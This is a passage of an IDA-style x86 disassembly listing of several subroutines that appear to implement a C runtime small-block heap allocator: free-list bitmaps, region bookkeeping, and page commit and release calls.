sub_41BF40+1A8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz loc_41C255 mov edx, [ebp+var_1C] sub edx, [ebp+var_C] mov [ebp+var_34], edx mov eax, [ebp+var_C] sar eax, 4 sub eax, 1 mov [ebp+var_2C], eax cmp [ebp+var_2C], 3Fh jbe short loc_41C121 mov [ebp+var_2C], 3Fh loc_41C121: ; CODE XREF: sub_41BF40+1D8j mov ecx, [ebp+var_30] add ecx, [ebp+var_C] mov [ebp+var_30], ecx mov edx, [ebp+var_30] sar edx, 4 sub edx, 1 mov [ebp+var_28], edx cmp [ebp+var_28], 3Fh jbe short loc_41C143 mov [ebp+var_28], 3Fh loc_41C143: ; CODE XREF: sub_41BF40+1FAj mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz loc_41C24F mov ecx, [ebp+var_34] mov edx, [ebp+var_34] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41C231 cmp [ebp+var_2C], 20h jnb short loc_41C1C6 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41C1C4 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41C1C4: ; CODE XREF: sub_41BF40+26Aj jmp short loc_41C231 ; --------------------------------------------------------------------------- loc_41C1C6: ; CODE XREF: sub_41BF40+225j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41C231 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41C231: ; CODE XREF: sub_41BF40+21Bj ; sub_41BF40:loc_41C1C4j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_41C24F: ; CODE XREF: sub_41BF40+209j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_41C255: ; CODE XREF: sub_41BF40+1B9j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_41C26B mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_41C37B loc_41C26B: ; CODE XREF: sub_41BF40+31Dj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41C37B cmp [ebp+var_28], 20h jnb short loc_41C314 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_41C2F2 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41C2F2: ; CODE XREF: sub_41BF40+39Aj mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_41C37B ; --------------------------------------------------------------------------- loc_41C314: ; CODE XREF: sub_41BF40+377j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_41C352 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41C352: ; CODE XREF: sub_41BF40+3F5j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_41C37B: ; CODE XREF: sub_41BF40+325j ; sub_41BF40+36Dj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_41C509 cmp dword_4DB794, 0 jz loc_41C4F8 mov eax, dword_4DB78C shl eax, 0Fh mov ecx, dword_4DB794 mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax nop call near ptr 2890603h mov edx, 80000000h mov ecx, dword_4DB78C shr edx, cl mov eax, dword_4DB794 mov ecx, [eax+8] or ecx, edx mov edx, dword_4DB794 mov [edx+8], ecx mov eax, dword_4DB794 mov ecx, [eax+10h] mov edx, dword_4DB78C mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4DB794 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4DB794 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4DB794 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_41C456 mov edx, dword_4DB794 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4DB794 mov [ecx+4], eax loc_41C456: ; CODE XREF: sub_41BF40+500j mov edx, dword_4DB794 cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_41C4F8 push 8000h push 0 mov eax, dword_4DB794 mov ecx, [eax+0Ch] push ecx nop call near ptr 2890603h mov edx, dword_4DB794 mov eax, [edx+10h] push eax push 0 mov ecx, dword_4DB7A0 push ecx call near ptr 28820CAh nop mov edx, dword_4DB798 imul edx, 14h mov eax, dword_4DB79C add eax, edx mov ecx, dword_4DB794 add ecx, 14h sub eax, ecx push eax mov edx, dword_4DB794 add edx, 14h push edx mov eax, dword_4DB794 push eax call sub_4197C0 add esp, 0Ch mov ecx, dword_4DB798 sub ecx, 1 mov dword_4DB798, ecx mov edx, [ebp+arg_0] cmp edx, dword_4DB794 jbe short loc_41C4EC mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_41C4EC: ; CODE XREF: sub_41BF40+5A1j mov ecx, dword_4DB79C mov dword_4DB790, ecx loc_41C4F8: ; CODE XREF: sub_41BF40+46Fj ; sub_41BF40+520j mov edx, [ebp+arg_0] mov dword_4DB794, edx mov eax, [ebp+var_4] mov dword_4DB78C, eax loc_41C509: ; CODE XREF: sub_41BF40+462j mov esp, ebp pop ebp retn sub_41BF40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C510 proc near ; CODE XREF: sub_41B8E0+1Dp ; sub_41BA10+99p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push esi mov eax, dword_4DB798 imul eax, 14h mov ecx, dword_4DB79C add ecx, eax mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] add edx, 17h and edx, 0FFFFFFF0h mov [ebp+var_28], edx mov eax, [ebp+var_28] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 20h jge short loc_41C55C or edx, 0FFFFFFFFh mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_24], edx mov [ebp+var_34], 0FFFFFFFFh jmp short loc_41C571 ; --------------------------------------------------------------------------- loc_41C55C: ; CODE XREF: sub_41C510+36j mov [ebp+var_24], 0 mov ecx, [ebp+var_20] sub ecx, 20h or eax, 0FFFFFFFFh shr eax, cl mov [ebp+var_34], eax loc_41C571: ; CODE XREF: sub_41C510+4Aj mov ecx, dword_4DB790 mov [ebp+var_18], ecx loc_41C57A: ; CODE XREF: sub_41C510+94j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_41C5A6 mov eax, [ebp+var_18] mov ecx, [ebp+var_24] and ecx, [eax] mov edx, [ebp+var_18] mov eax, [ebp+var_34] and eax, [edx+4] or ecx, eax test ecx, ecx jz short loc_41C59B jmp short loc_41C5A6 ; --------------------------------------------------------------------------- loc_41C59B: ; CODE XREF: sub_41C510+87j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_41C57A ; --------------------------------------------------------------------------- loc_41C5A6: ; CODE XREF: sub_41C510+70j ; sub_41C510+89j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz loc_41C68D mov eax, dword_4DB79C mov [ebp+var_18], eax loc_41C5BA: ; CODE XREF: sub_41C510+D7j mov ecx, [ebp+var_18] cmp ecx, dword_4DB790 jnb short loc_41C5E9 mov edx, [ebp+var_18] mov eax, [ebp+var_24] and eax, [edx] mov ecx, [ebp+var_18] mov edx, [ebp+var_34] and edx, [ecx+4] or eax, edx test eax, eax jz short loc_41C5DE jmp short loc_41C5E9 ; --------------------------------------------------------------------------- loc_41C5DE: ; CODE XREF: sub_41C510+CAj mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_41C5BA ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C510+B3j ; sub_41C510+CCj mov ecx, [ebp+var_18] cmp ecx, dword_4DB790 jnz loc_41C68D loc_41C5F8: ; CODE XREF: sub_41C510+104j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_41C616 mov eax, [ebp+var_18] cmp dword ptr [eax+8], 0 jz short loc_41C60B jmp short loc_41C616 ; --------------------------------------------------------------------------- loc_41C60B: ; CODE XREF: sub_41C510+F7j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C616: ; CODE XREF: sub_41C510+EEj ; sub_41C510+F9j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz short loc_41C667 mov eax, dword_4DB79C mov [ebp+var_18], eax loc_41C626: ; CODE XREF: sub_41C510+135j mov ecx, [ebp+var_18] cmp ecx, dword_4DB790 jnb short loc_41C647 mov edx, [ebp+var_18] cmp dword ptr [edx+8], 0 jz short loc_41C63C jmp short loc_41C647 ; --------------------------------------------------------------------------- loc_41C63C: ; CODE XREF: sub_41C510+128j mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_41C626 ; --------------------------------------------------------------------------- loc_41C647: ; CODE XREF: sub_41C510+11Fj ; sub_41C510+12Aj mov ecx, [ebp+var_18] cmp ecx, dword_4DB790 jnz short loc_41C667 call sub_41CA50 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_41C667 xor eax, eax jmp loc_41CA41 ; --------------------------------------------------------------------------- loc_41C667: ; CODE XREF: sub_41C510+10Cj ; sub_41C510+140j ... mov edx, [ebp+var_18] push edx call sub_41CB60 add esp, 4 mov ecx, [ebp+var_18] mov edx, [ecx+10h] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [eax+10h] cmp dword ptr [ecx], 0FFFFFFFFh jnz short loc_41C68D xor eax, eax jmp loc_41CA41 ; --------------------------------------------------------------------------- loc_41C68D: ; CODE XREF: sub_41C510+9Cj ; sub_41C510+E2j ... mov edx, [ebp+var_18] mov dword_4DB790, edx mov eax, [ebp+var_18] mov ecx, [eax+10h] mov [ebp+var_38], ecx mov edx, [ebp+var_38] mov eax, [edx] mov [ebp+var_30], eax cmp [ebp+var_30], 0FFFFFFFFh jz short loc_41C6D0 mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov eax, [ebp+var_24] and eax, [edx+ecx*4+44h] mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [edx+ecx*4+0C4h] or eax, esi test eax, eax jnz short loc_41C705 loc_41C6D0: ; CODE XREF: sub_41C510+19Bj mov [ebp+var_30], 0 loc_41C6D7: ; CODE XREF: sub_41C510+1F3j mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [ecx+eax*4+0C4h] or edx, esi test edx, edx jnz short loc_41C705 mov edx, [ebp+var_30] add edx, 1 mov [ebp+var_30], edx jmp short loc_41C6D7 ; --------------------------------------------------------------------------- loc_41C705: ; CODE XREF: sub_41C510+1BEj ; sub_41C510+1E8j mov eax, [ebp+var_30] imul eax, 204h mov ecx, [ebp+var_38] lea edx, [ecx+eax+144h] mov [ebp+var_4], edx mov [ebp+var_20], 0 mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_41C752 mov [ebp+var_20], 20h mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_34] and edx, [ecx+eax*4+0C4h] mov [ebp+var_1C], edx loc_41C752: ; CODE XREF: sub_41C510+226j ; sub_41C510+259j cmp [ebp+var_1C], 0 jl short loc_41C76B mov eax, [ebp+var_1C] shl eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_41C752 ; --------------------------------------------------------------------------- loc_41C76B: ; CODE XREF: sub_41C510+246j mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov ecx, [eax+edx*8+4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [edx] sub eax, [ebp+var_28] mov [ebp+var_8], eax mov ecx, [ebp+var_8] sar ecx, 4 sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 3Fh jle short loc_41C79C mov [ebp+var_14], 3Fh loc_41C79C: ; CODE XREF: sub_41C510+283j mov edx, [ebp+var_14] cmp edx, [ebp+var_20] jz loc_41C9C0 mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41C88A cmp [ebp+var_20], 20h jge short loc_41C81F mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_30] mov eax, [ebp+var_38] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_38] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_38] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_38] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41C81D mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_18] mov edx, [ecx] and edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_41C81D: ; CODE XREF: sub_41C510+2F3j jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81F: ; CODE XREF: sub_41C510+2AEj mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_38] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_38] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_38] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41C88A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_18] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+var_18] mov [edx+4], ecx loc_41C88A: ; CODE XREF: sub_41C510+2A4j ; sub_41C510:loc_41C81Dj ... mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, [ebp+var_10] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_10] mov edx, [ecx+4] mov eax, [ebp+var_10] mov ecx, [eax+8] mov [edx+8], ecx cmp [ebp+var_8], 0 jz loc_41C9C0 mov edx, [ebp+var_14] mov eax, [ebp+var_4] lea ecx, [eax+edx*8] mov [ebp+var_C], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] mov ecx, [eax+4] mov edx, [ebp+var_10] mov [ecx+8], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41C9C0 cmp [ebp+var_14], 20h jge short loc_41C95A mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_41C938 mov eax, 80000000h mov ecx, [ebp+var_14] shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx] or edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_41C938: ; CODE XREF: sub_41C510+410j mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+44h], eax jmp short loc_41C9C0 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C510+3EEj mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_41C997 mov ecx, [ebp+var_14] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx+4] or edx, eax mov eax, [ebp+var_18] mov [eax+4], edx loc_41C997: ; CODE XREF: sub_41C510+46Aj mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax loc_41C9C0: ; CODE XREF: sub_41C510+292j ; sub_41C510+39Cj ... cmp [ebp+var_8], 0 jz short loc_41C9DA mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax], ecx mov edx, [ebp+var_10] add edx, [ebp+var_8] mov eax, [ebp+var_8] mov [edx-4], eax loc_41C9DA: ; CODE XREF: sub_41C510+4B4j mov ecx, [ebp+var_10] add ecx, [ebp+var_8] mov [ebp+var_10], ecx mov edx, [ebp+var_28] add edx, 1 mov eax, [ebp+var_10] mov [eax], edx mov ecx, [ebp+var_28] add ecx, 1 mov edx, [ebp+var_10] add edx, [ebp+var_28] mov [edx-4], ecx mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov edx, [ebp+var_4] mov [edx], eax test ecx, ecx jnz short loc_41CA33 mov eax, [ebp+var_18] cmp eax, dword_4DB794 jnz short loc_41CA33 mov ecx, [ebp+var_30] cmp ecx, dword_4DB78C jnz short loc_41CA33 mov dword_4DB794, 0 loc_41CA33: ; CODE XREF: sub_41C510+501j ; sub_41C510+50Cj ... mov edx, [ebp+var_38] mov eax, [ebp+var_30] mov [edx], eax mov eax, [ebp+var_10] add eax, 4 loc_41CA41: ; CODE XREF: sub_41C510+152j ; sub_41C510+178j pop esi mov esp, ebp pop ebp retn sub_41C510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA50 proc near ; CODE XREF: sub_41C510+142p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4DB798 cmp eax, dword_4DB788 jnz short loc_41CAAB mov ecx, dword_4DB788 add ecx, 10h imul ecx, 14h push ecx mov edx, dword_4DB79C push edx push 0 mov eax, dword_4DB7A0 push eax nop call near ptr 2880000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41CA93 xor eax, eax jmp loc_41CB5B ; --------------------------------------------------------------------------- loc_41CA93: ; CODE XREF: sub_41CA50+3Aj mov ecx, [ebp+var_4] mov dword_4DB79C, ecx mov edx, dword_4DB788 add edx, 10h mov dword_4DB788, edx loc_41CAAB: ; CODE XREF: sub_41CA50+Fj mov eax, dword_4DB798 imul eax, 14h mov ecx, dword_4DB79C add ecx, eax mov [ebp+var_4], ecx push 41C4h push 8 mov edx, dword_4DB7A0 push edx call near ptr 2870000h nop mov ecx, [ebp+var_4] mov [ecx+10h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+10h], 0 jnz short loc_41CAE5 xor eax, eax jmp short loc_41CB5B ; --------------------------------------------------------------------------- loc_41CAE5: ; CODE XREF: sub_41CA50+8Fj push 4 push 2000h push 100000h push 0 call near ptr 28907B6h nop mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jnz short loc_41CB22 mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4DB7A0 push edx call near ptr 28820CAh nop xor eax, eax jmp short loc_41CB5B ; --------------------------------------------------------------------------- loc_41CB22: ; CODE XREF: sub_41CA50+B6j mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0FFFFFFFFh mov eax, dword_4DB798 add eax, 1 mov dword_4DB798, eax mov ecx, [ebp+var_4] mov edx, [ecx+10h] mov dword ptr [edx], 0FFFFFFFFh mov eax, [ebp+var_4] loc_41CB5B: ; CODE XREF: sub_41CA50+3Ej ; sub_41CA50+93j ... mov esp, ebp pop ebp retn sub_41CA50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB60 proc near ; CODE XREF: sub_41C510+15Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_8], eax mov [ebp+var_28], 0 loc_41CB7F: ; CODE XREF: sub_41CB60+36j cmp [ebp+var_8], 0 jl short loc_41CB98 mov ecx, [ebp+var_8] shl ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp short loc_41CB7F ; --------------------------------------------------------------------------- loc_41CB98: ; CODE XREF: sub_41CB60+23j mov eax, [ebp+var_28] imul eax, 204h mov ecx, [ebp+var_2C] lea edx, [ecx+eax+144h] mov [ebp+var_C], edx mov [ebp+var_20], 0 jmp short loc_41CBC0 ; --------------------------------------------------------------------------- loc_41CBB7: ; CODE XREF: sub_41CB60+84j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax loc_41CBC0: ; CODE XREF: sub_41CB60+55j cmp [ebp+var_20], 3Fh jge short loc_41CBE6 mov ecx, [ebp+var_20] mov edx, [ebp+var_C] lea eax, [edx+ecx*8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_18] mov [ecx+8], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_18] mov [eax+4], ecx jmp short loc_41CBB7 ; --------------------------------------------------------------------------- loc_41CBE6: ; CODE XREF: sub_41CB60+64j mov edx, [ebp+var_28] shl edx, 0Fh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] add ecx, edx mov [ebp+var_10], ecx push 4 push 1000h push 8000h mov edx, [ebp+var_10] push edx nop call near ptr 28907B6h test eax, eax jnz short loc_41CC19 or eax, 0FFFFFFFFh jmp loc_41CD4A ; --------------------------------------------------------------------------- loc_41CC19: ; CODE XREF: sub_41CB60+AFj mov eax, [ebp+var_10] add eax, 7000h mov [ebp+var_1C], eax mov ecx, [ebp+var_10] mov [ebp+var_4], ecx jmp short loc_41CC38 ; --------------------------------------------------------------------------- loc_41CC2C: ; CODE XREF: sub_41CB60+13Bj mov edx, [ebp+var_4] add edx, 1000h mov [ebp+var_4], edx loc_41CC38: ; CODE XREF: sub_41CB60+CAj mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] ja short loc_41CC9D mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+0FFCh], 0FFFFFFFFh mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov dword ptr [ecx], 0FF0h mov edx, [ebp+var_18] add edx, 1000h mov eax, [ebp+var_18] mov [eax+4], edx mov ecx, [ebp+var_18] sub ecx, 1000h mov edx, [ebp+var_18] mov [edx+8], ecx mov eax, [ebp+var_18] add eax, 0FECh mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov dword ptr [ecx], 0FF0h jmp short loc_41CC2C ; --------------------------------------------------------------------------- loc_41CC9D: ; CODE XREF: sub_41CB60+DEj mov edx, [ebp+var_C] add edx, 1F8h mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+4], eax mov edx, [ebp+var_14] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_1C] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+8], eax mov edx, [ebp+var_14] mov eax, [edx+8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov dword ptr [ecx+eax*4+44h], 0 mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov dword ptr [eax+edx*4+0C4h], 1 mov ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+43h] mov eax, [ebp+var_2C] mov cl, [eax+43h] add cl, 1 mov eax, [ebp+var_2C] mov [eax+43h], cl test edx, edx jnz short loc_41CD2D mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_41CD2D: ; CODE XREF: sub_41CB60+1BCj mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_28] loc_41CD4A: ; CODE XREF: sub_41CB60+B4j mov esp, ebp pop ebp retn sub_41CB60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD50 proc near ; CODE XREF: sub_41B960+50p ; sub_41BA10+81p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h 